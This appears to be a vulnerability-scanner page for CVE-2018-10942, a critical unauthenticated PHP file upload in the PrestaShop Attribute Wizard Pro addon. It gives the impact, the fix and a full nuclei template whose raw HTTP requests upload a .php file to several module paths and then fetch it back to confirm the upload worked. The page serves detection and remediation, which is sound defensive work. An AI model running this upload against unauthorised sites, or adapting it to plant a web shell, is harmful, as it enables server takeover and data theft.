Prestashop AttributeWizardPro Module - Arbitrary File Upload

criticalseverity

9.8CVSS score

12.3%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

In the Attribute Wizard addon 1.6.9 for PrestaShop allows remote attackers to execute arbitrary code by uploading a php file.

Impact

Unauthenticated attackers can upload and execute arbitrary PHP files, leading to complete server compromise, data theft, and potential lateral movement within the network.

Fix

Remove or update the Attribute Wizard addon to a patched version.

How to confirm it

Send: POST /modules/{{paths}}/file_upload.php ; GET /modules/{{paths}}/file_uploads/{{file}}
Positive when: contains in body_1 "{{filename}}" AND contains in body_2 "{{randstr}}"

Run it with nuclei: nuclei -id CVE-2018-10942 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-10942

info:
  name: Prestashop AttributeWizardPro Module - Arbitrary File Upload
  author: MaStErChO
  severity: critical
  description: |
    In the Attribute Wizard addon 1.6.9 for PrestaShop allows remote attackers to execute arbitrary code by uploading a php file.
  impact: |
    Unauthenticated attackers can upload and execute arbitrary PHP files, leading to complete server compromise, data theft, and potential lateral movement within the network.
  remediation: |
    Remove or update the Attribute Wizard addon to a patched version.
  reference:
    - https://webcache.googleusercontent.com/search?q=cache:y0TbS2LsRfoJ:www.vfocus.net/art/20160629/12773.html&hl=en&gl=en
    - https://www.openservis.cz/prestashop-blog/nejcastejsi-utoky-v-roce-2023-seznam-deravych-modulu-nemate-nejaky-z-nich-na-e-shopu-i-vy/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10942
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-10942
    cwe-id: CWE-434
    epss-score: 0.12327
    epss-percentile: 0.96228
    cpe: cpe:2.3:a:attribute_wizard_project:attribute_wizard:1.6.9:*:*:*:*:prestashop:*:*
  metadata:
    max-request: 8
    vendor: attribute_wizard_project
    product: attribute_wizard
    framework: prestashop
  tags: prestashop,attributewizardpro,intrusive,file-upload,cve2018,cve,attribute_wizard_project,vkev,vuln
variables:
  filename: '{{rand_base(7, "abc")}}'

http:
  - raw:
      - |
        POST /modules/{{paths}}/file_upload.php  HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=ba1f796d0aa2482e9c51c81ae6087818

        --ba1f796d0aa2482e9c51c81ae6087818
        Content-Disposition: form-data; name="userfile"; filename="{{filename}}.php"
        Content-Type: multipart/form-data

        {{randstr}}
        --ba1f796d0aa2482e9c51c81ae6087818--

      - |
        GET /modules/{{paths}}/file_uploads/{{file}}  HTTP/1.1
        Host: {{Hostname}}

    payloads:
      paths:
        - 'attributewizardpro'
        - '1attributewizardpro'
        - 'attributewizardpro.OLD'
        - 'attributewizardpro_x'

    stop-at-first-match: true
    host-redirects: true
    max-redirects: 3
    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - '{{filename}}'

      - type: word
        part: body_2
        words:
          - '{{randstr}}'

    extractors:
      - type: regex
        name: file
        part: body_1
        internal: true
        group: 1
        regex:
          - '(.*?)\|\|\|\|'

References

Use this check only on systems you are authorised to test. Where the data comes from